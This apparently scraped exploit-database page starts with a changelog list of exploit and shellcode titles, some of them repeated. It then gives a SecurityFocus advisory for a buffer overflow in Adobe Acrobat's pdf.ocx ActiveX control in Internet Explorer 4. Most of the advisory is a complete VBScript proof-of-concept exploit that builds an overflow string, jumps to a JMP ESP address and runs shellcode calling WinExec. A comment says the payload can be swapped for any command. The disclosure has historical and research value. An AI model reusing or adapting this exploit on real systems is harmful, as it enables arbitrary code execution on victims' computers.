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14991 changes to exploits/shellcodes HTC Touch - vCard over IP Denial of Service TeamSpeak 3.0.0-beta25 - Multiple Vulnerabilities PeerBlock 1.1 - Blue Screen of Death WS10 Data Server - SCADA Overflow (PoC) Symantec Endpoint Protection 12.1.4013 - Service Disabling Memcached 1.4.33 - 'Crash' (PoC) Memcached 1.4.33 - 'Add' (PoC) Memcached 1.4.33 - 'sasl' (PoC) Memcached 1.4.33 - 'Crash' (PoC) Memcached 1.4.33 - 'Add' (PoC) Memcached 1.4.33 - 'sasl' (PoC) Alcatel-Lucent (Nokia) GPON I-240W-Q - Buffer Overflow man-db 2.4.1 - 'open_cat_stream()' Local uid=man CDRecord's ReadCD - '$RSH exec()' SUID Shell Creation CDRecord's ReadCD - Local Privilege Escalation Anyburn 4.3 x86 - 'Copy disc to image file' Buffer Overflow (Unicode) (SEH) FreeBSD - Intel SYSRET Privilege Escalation (Metasploit) CCProxy 6.2 - 'ping' Remote Buffer Overflow Savant Web Server 3.1 - Remote Buffer Overflow (2) Litespeed Web Server 4.0.17 with PHP (FreeBSD) - Remote Overflow Alcatel-Lucent (Nokia) GPON I-240W-Q - Buffer Overflow QNAP TS-431 QTS < 4.2.2 - Remote Command Execution (Metasploit) Imperva SecureSphere 13.x - 'PWS' Command Injection (Metasploit) Drupal < 8.5.11 / < 8.6.10 - RESTful Web Services unserialize() Remote Command Execution (Metasploit) Oracle Weblogic Server - Deserialization Remote Command Execution (Patch Bypass) TeamCity < 9.0.2 - Disabled Registration Bypass OpenSSH SCP Client - Write Arbitrary Files Kados R10 GreenBee - Multiple SQL Injection WordPress Core 5.0 - Remote Code Execution phpBB 3.2.3 - Remote Code Execution Linux/x86 - Create File With Permission 7775 + exit() Shellcode (Generator) Linux/x86 - setreuid(0_0) + execve(/bin/ash_NULL_NULL) + XOR Encoded Shellcode (58 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/csh__ [/bin/csh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/ksh__ [/bin/ksh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/zsh__ [/bin/zsh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(/bin/ash_NULL_NULL) + XOR Encoded Shellcode (58 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/csh__ [/bin/csh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/ksh__ [/bin/ksh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/zsh__ [/bin/zsh_ NULL]) + XOR Encoded Shellcode (53 bytes)
79 lines
No EOL
2.4 KiB
Text
79 lines
No EOL
2.4 KiB
Text
source: https://www.securityfocus.com/bid/666/info
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There is a buffer overflow in the 1.3.188 version of the Adobe Acrobat ActiveX control (pdf.ocx) that ships with Acrobat Viewer 4.0. This ActiveX control is marked 'Safe for Scripting' within Internet Explorer 4.X. Arbitrary commands may be executed if the ActiveX control is run in a malicious manner
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This control from Adobe Acrobat, can be exploited through
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the setview method, and because ESP points to the address
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after the RET address, we can place arbitrary code at this
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point and JMP to it by RET'ing to a JMP ESP, in this case,
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one found in Shell32. The code simply executes CALC.EXE
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then calls ExitProcess to terminate the host without it
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crashing. I have attempted to notify Adobe of the issue,
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however they don't appear to have any form of direct
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secure@ address.
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<object classid="clsid:CA8A9780-280D-11CF-A24D-444553540000"
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id="pdf"></object>
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<script language="VBscript"><!--
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msgbox("Adobe Acrobat OCX Buffer Overrun" + Chr(10)
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+ "Written by Shane Hird")
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expstr
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= "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
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AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
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AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
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AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
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AAAAAAAAAAAAAA"
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expstr = expstr + Chr(235) 'Address in SHELL32, Win98
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(7FD035EB) of JMP ESP
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expstr = expstr + Chr(53) 'You may need to use a
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different address
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expstr = expstr + Chr(208)
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expstr = expstr + Chr(127)
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'Stack is slightly trashed, but NOPs fix it up ok
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expstr = expstr + Chr(144) + Chr(144) + Chr(144) + Chr(144)
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+ Chr(144)
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'MOV EDI, ESP
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expstr = expstr + Chr(139) + Chr(252)
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'ADD EDI, 19 (Size of code)
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expstr = expstr + Chr(131) + Chr(199) + Chr(25)
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'PUSH EAX (Window Style EAX = 1)
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expstr = expstr + Chr(80)
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'PUSH EDI (Address of command line)
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expstr = expstr + Chr(87)
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'MOV EDX, BFFA0960 (WinExec, Win98)
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expstr = expstr + Chr(186) + Chr(96) + Chr(9) + Chr(250) +
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Chr(191)
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'CALL EDX
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expstr = expstr + Chr(255) + Chr(210)
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'XOR EAX, EAX
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expstr = expstr + Chr(51) + Chr(192)
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'PUSH EAX
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expstr = expstr + Chr(80)
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'MOV EDX, BFF8D4CA (ExitProcess, Win98)
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expstr = expstr + Chr(186) + Chr(202) + Chr(212) + Chr(248)
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+ Chr(191)
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'CALL EDX
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expstr = expstr + Chr(255) + Chr(210)
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'Replace with any command + 0 (automatically appended)
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expstr = expstr + "CALC.EXE"
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'Call exploitable method
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pdf.setview(expstr)
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--></script> |